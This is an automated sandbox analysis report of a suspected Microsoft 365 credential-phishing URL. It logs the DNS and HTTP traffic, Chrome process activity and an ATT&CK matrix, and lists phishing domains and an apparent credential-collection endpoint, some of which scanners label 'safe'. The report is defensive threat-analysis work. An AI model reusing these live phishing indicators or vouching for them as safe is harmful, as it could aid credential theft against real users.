Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=coe3ULUE44g6ypp&MD=2+rElee3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: zngw.officeinvoicedoc.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: blessed-1323985617.cos.eu-frankfurt.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: officeblessed.my.id
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3087sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 143f2506b8683a0sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 28 Aug 2024 11:52:39 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FV9q5s%2BMNBOJR%2Bqu9f%2BRoaDrFkM206QxIdDqzOh9kr04aH2q7dOKXvPrVVEsNQLtCCvgcejwuRV5HOw%2FXzQLnVsMq8InwJ7AUWcHwYxKOzYIwN7d8IAu%2FWo605Hx0dSvkFY1IaK9gs%2BmhUw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ba418ab4d5f42b8-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 28 Aug 2024 11:52:39 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: NfFDE9e3qEDRynQbdL0d+6NWblVJH0WC4CU=$eEBAzBPQNz1B31d2Server: cloudflareCF-RAY: 8ba418b1a8914269-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 28 Aug 2024 11:52:42 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: E5+YHSu9hk9p2NRsOKbQDwOo2C92k4P3lRE=$wbpKPHRJqqQ68SCEServer: cloudflareCF-RAY: 8ba418c39fcd42ec-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 28 Aug 2024 11:52:51 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 3ZTKNeQvp9ndYGJ9bVlhOPEVte8CcUkuspY=$tPsNFVHjADR7nbHcServer: cloudflareCF-RAY: 8ba418f9bcf41a1b-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_107.1.dr, chromecache_97.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_110.1.dr, chromecache_103.1.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_108.1.dr, chromecache_96.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_110.1.dr, chromecache_103.1.dr, chromecache_108.1.dr, chromecache_96.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_110.1.dr, chromecache_103.1.dr, chromecache_108.1.dr, chromecache_96.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49772 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@16/46@42/18

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://zngw.officeinvoicedoc.com/DhpuI
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1960,i,16558629874653300574,15253624983313222741,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1960,i,16558629874653300574,15253624983313222741,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://zngw.officeinvoicedoc.com/DhpuI	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://code.jquery.com/jquery-3.2.1.slim.min.js	0%	URL Reputation	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	0%	URL Reputation	safe
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	0%	URL Reputation	safe
http://opensource.org/licenses/MIT).	0%	URL Reputation	safe
https://getbootstrap.com/)	0%	URL Reputation	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ba418a1eaa9423b/1724845959050/IWBKf4cfkGAQMfX	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=%2FV9q5s%2BMNBOJR%2Bqu9f%2BRoaDrFkM206QxIdDqzOh9kr04aH2q7dOKXvPrVVEsNQLtCCvgcejwuRV5HOw%2FXzQLnVsMq8InwJ7AUWcHwYxKOzYIwN7d8IAu%2FWo605Hx0dSvkFY1IaK9gs%2BmhUw%3D	0%	Avira URL Cloud	safe
https://blessed-1323985617.cos.eu-frankfurt.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	Avira URL Cloud	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ba418a1eaa9423b&lang=auto	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8ba418a1eaa9423b/1724845959048/37e2e8915285562b3d2d25fd3b458d36ea219cce2f3aded9c8410ad919f331a3/7G2X06VJkRdjJdF	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Virustotal		Browse
https://zngw.officeinvoicedoc.com/favicon.ico	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/api.js	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/b/6790c32b9fc9/api.js	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/api.js	0%	Virustotal		Browse
https://challenges.cloudflare.com/turnstile/v0/b/6790c32b9fc9/api.js	0%	Virustotal		Browse
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	0%	Virustotal		Browse
https://officeblessed.my.id/next.php	0%	Avira URL Cloud	safe
https://officeblessed.my.id/next.php	0%	Virustotal		Browse
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Virustotal		Browse
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false		unknown
a.nel.cloudflare.com	35.190.80.1	true	false		unknown
officeblessed.my.id	162.241.71.126	true	false		unknown
maxcdn.bootstrapcdn.com	104.18.11.207	true	false		unknown
s-part-0045.t-0009.t-msedge.net	13.107.246.73	true	false		unknown
ger.file.myqcloud.com	162.62.150.176	true	false		unknown
code.jquery.com	151.101.130.137	true	false		unknown
cdnjs.cloudflare.com	104.17.24.14	true	false		unknown
challenges.cloudflare.com	104.18.94.41	true	false		unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false		unknown
www.google.com	142.250.185.164	true	false		unknown
zngw.officeinvoicedoc.com	104.26.7.122	true	false		unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false		unknown
blessed-1323985617.cos.eu-frankfurt.myqcloud.com	unknown	unknown	false		unknown
aadcdn.msftauth.net	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=%2FV9q5s%2BMNBOJR%2Bqu9f%2BRoaDrFkM206QxIdDqzOh9kr04aH2q7dOKXvPrVVEsNQLtCCvgcejwuRV5HOw%2FXzQLnVsMq8InwJ7AUWcHwYxKOzYIwN7d8IAu%2FWo605Hx0dSvkFY1IaK9gs%2BmhUw%3D	false	Avira URL Cloud: safe	unknown
https://blessed-1323985617.cos.eu-frankfurt.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ba418a1eaa9423b/1724845959050/IWBKf4cfkGAQMfX	false	Avira URL Cloud: safe	unknown
